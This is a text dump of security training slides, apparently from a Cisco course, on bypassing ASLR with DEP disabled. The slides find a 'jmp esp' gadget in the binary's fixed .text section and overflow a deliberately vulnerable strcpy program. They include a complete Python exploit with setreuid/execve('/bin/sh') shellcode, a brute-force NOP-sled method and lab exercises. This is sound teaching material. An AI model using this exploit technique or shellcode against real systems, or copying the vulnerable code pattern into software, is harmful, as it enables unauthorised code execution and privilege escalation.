Bypassing ASLR 
Why DEP matters 
Alex Moneger 
Security Engineer
Refresher 
 Classic buffer overflows store the shellcode on the stack 
 Shellcode is executed on the stack 
 Execution transfer is done by jumping to a fixed address 
 In modern OSs, addresses are randomized using ASLR 
 Is there a zone which is not covered by ASLR? 
 Can we exploit this? 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 2
Jmp reg 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 3
Approach 
 Consider DEP disabled. What impact does it have? 
 DEP disabled = execution on the stack 
 How can we transfer execution to the stack, without using fixed 
addresses? 
 Maybe we can find a piece of code in the binary itself to do that? 
 What asm construct redirects flows?: 
 Call 
 Jmp 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 4
Where to look? 
 Remember, .text section is not subject to ASLR unless explicitely 
specified by the compiler (-pie -fpie) 
 .text section is the only RE region which has fixed addresses 
 Looks suitable to look for things which have a fixed address 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 5
How to look 
 Manually: 
dahtah@kali:~/src/seccon/ch6$ objdump -d -j .text -M intel ch6 | egrep "jmp|call" | egrep -v 
"(call|jmp)[ t]+80" 
8048387: ff d0 call eax 
80483c4: ff d2 call edx 
804840f: ff d0 call eax 
804841f: ff e4 jmp esp 
80484d4: ff 94 b3 00 ff ff ff call DWORD PTR [ebx+esi*4-0x100] 
 A few nice ones. Jmp esp looks great. 
 Remember what your stack looks like, just before return to seip 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 6
Lazy searching 
 ROPeme is really nice, but is ROP oriented 
 Therefore, only finds call/jmp preceding a ret 
dahtah@kali:~/src/seccon/ch6$ ropshell.py 
Simple ROP interactive shell: [generate, load, search] gadgets 
ROPeMe> generate ch6 4 
Generating gadgets for ch6 with backward depth=4 
It may take few minutes depends on the depth and file size... 
Processing code block 1/1 
Generated 96 gadgets 
Dumping asm gadgets to file: ch6.ggt ... 
OK 
ROPeMe> search jmp % 
Searching for ROP gadget: jmp % with constraints: [] 
0x804841fL: jmp esp ; pop ebp ;; 
0x80483a0L: jmp far 0x75f8:0xd1d0011f ; add dh bl ;; 
ROPeMe> search call % 
Searching for ROP gadget: call % with constraints: [] 
0x8048387L: call eax ; leave ;; 
0x80483c4L: call edx ; leave ;; 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 7
Proper searching 
 Write asm and generate raw binary (or look up opcodes) 
 Search for bytes in memory 
 x86 ISA specifies that opcodes: 
1. have a varied length structure 
2. Eip does not have to land on 4 bytes boundaries 
 This approach can yield additional results when you know what your 
looking for (which you should ;)) 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 8
Example 
1. Write and compile the gadget your looking for: 
cisco@kali:~/src/seccon/ch6$ pygmentize -g jmp_esp.asm 
[bits 32] 
section .text: 
jmp esp 
cisco@kali:~/src/seccon/ch6$ nasm jmp_esp.asm 
cisco@kali:~/src/seccon/ch6$ hexdump jmp_esp 
0000000 e4ff 
0000002 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 9
Example – 2 
 Search for the hex pattern using gdb 
cisco@kali:~/src/seccon/ch6$ invoke -d ch6 AAAA 
Reading symbols from /home/cisco/src/seccon/ch6/ch6...done. 
gdb$ break main 
Breakpoint 1 at 0x8048465: file ch6.c, line 16. 
gdb$ r 
Breakpoint 1, main (argc=2, argv=0xbffffe34) at ch6.c:16 
16 vuln(argv[1]); 
gdb$ info proc mappings 
process 30215 
Mapped address spaces: 
Start Addr End Addr Size Offset objfile 
0x8048000 0x8049000 0x1000 0 /home/dahtah/src/seccon/ch6/ch6 
gdb$ find /h 0x8048000,0x8049000,0xe4ff 
0x804841f <useless+3> 
1 pattern found. 
gdb$ x/i 0x804841f 
0x804841f <useless+3>: jmp esp 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 10
Check what we can use 
 Check registers upon return of vulnerable function 
 Does anything point or is a pointer to anything interesting? 
cisco@kali:~/src/seccon/ch6$ invoke -d ch6 AAAA 
Reading symbols from /home/cisco/src/seccon/ch6/ch6...done. 
gdb$ disassemble 0x08048459,0x0804845c 
Dump of assembler code from 0x8048459 to 0x804845c: 
0x08048459 <vuln+54>: pop edi 
0x0804845a <vuln+55>: pop ebp 
0x0804845b <vuln+56>: ret 
End of assembler dump. 
gdb$ break *0x0804845b 
Breakpoint 1 at 0x804845b: file ch6.c, line 13. 
gdb$ info registers 
eax 0x1 1 
ecx 0x0 0 
edx 0x5 5 
ebx 0xb7fbeff4 -1208225804 
esp 0xbffffd6c 0xbffffd6c 
ebp 0xbffffd88 0xbffffd88 
esi 0x0 0 
edi 0x0 0 
eip 0x804845b 0x804845b <vuln+56> 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 11
Example 
 Check registers, nothing looks great 
 Esp maybe?: 
gdb$ p/x &buf 
$1 = 0xbffffcfc 
gdb$ # Check buf + overflow length 
gdb$ p/x 0xbffffcfc + 0x74 
$5 = 0xbffffd70 
gdb$ # Move past ret, where is esp 
gdb$ si 
 0x8048475 <main+25>: mov eax,0x0 
gdb$ info registers esp 
esp 0xbffffd70 0xbffffd70 
gdb$ # esp points to our shellcode! 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 12
Flow 
 Find a register pointing to our buffer 
 Put the shellcode in the right position 
 Find a jmp/call to reg 
 Overflow seip with the address of jmp/call reg 
 Execute shellcode upon ret 
shellcode 
&jmp_esp 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
0x41414141 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 13
Example 
 Same vulnerable program, but with ASLR on 
cisco@kali:~/src/seccon/ch6$ pygmentize -g ch6.c 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
void useless(void) { 
__asm__("jmp *%esp"); 
} 
int vuln(const char *stuff) { 
char buf[0x64] = {0}; 
strcpy(buf, stuff); 
return 1; 
} 
int main(int argc, char **argv) { 
vuln(argv[1]); 
return 0; 
} 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 14
Exploit conditions 
 ASLR on, DEP off: 
cisco@kali:~/src/seccon/ch6$ /sbin/sysctl -a 2>/dev/null | grep randomize 
kernel.randomize_va_space = 2 
cisco@kali:~/src/seccon/ch6$ cc ch6.c -fno-stack-protector -U_FORTIFY_SOURCE -z execstack -g -o 
ch6 
cisco@kali:~/src/seccon/ch6$ ldd ch6 
linux-gate.so.1 => (0xb778d000) 
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb760c000) 
/lib/ld-linux.so.2 (0xb778e000) 
cisco@kali:~/src/seccon/ch6$ ldd ch6 
linux-gate.so.1 => (0xb77bc000) 
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb763b000) 
/lib/ld-linux.so.2 (0xb77bd000) 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 15
Exploit 
dahtah@kali:~/src/seccon/ch6$ pygmentize -g ch6.py 
#!/usr/bin/env python 
# -*- coding: utf-8 -*- 
import os 
import struct 
target = "ch6" 
overflow_len = 112 
jmp_esp = 0x0804841f 
target_path = os.path.abspath(target) 
# setreuid(geteuid(),geteuid()); execve("/bin/sh",0,0) 
sc = ("x6ax31x58x99xcdx80x89xc3x89xc1x6ax46" 
"x58xcdx80xb0x0bx52x68x6ex2fx73x68x68" 
"x2fx2fx62x69x89xe3x89xd1xcdx80") 
jmp_esp_addr = struct.pack("<I", jmp_esp) 
ex = "%s%s%s" % ('A'*overflow_len, jmp_esp_addr, sc) 
os.execve(target_path, (target_path, ex), os.environ) 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 16
Other approaches 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 17
Bruteforce 
 If you can try multiple times, bruteforce is an option: 
1. Pick an address for your buffer 
2. Pad your shellcode with a NOP sled 
3. Make your return address land in the middle of the NOP sled 
4. Try once, then try again 
5. and again, and again 
6. Get shell 
 Bruteforcing figures provided in ASLR section 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 18
Conclusion 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 19
Key points 
 ASLR is not very efficient without DEP 
 ASLR efficiency is limited on 32 bits 
 On a real world binary, chances you can find good gadgets are high 
 Depending on gadgets and values in registers, not all bugs are cleanly 
exploitable with ASLR 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 20
Get to work 
 Exploit ch6 with ASLR enabled 
 Check the memory mappings of 
ch6. What is predictable? What 
changes? 
 Search for various gadgets 
using nasm and gdb 
 Bruteforce ch6 (do not rely on 
gadgets). How many tries does it 
take? How long? 
© 2013-2014 Cisco and/or its affiliates. All rights reserved. Cisco Confidential 21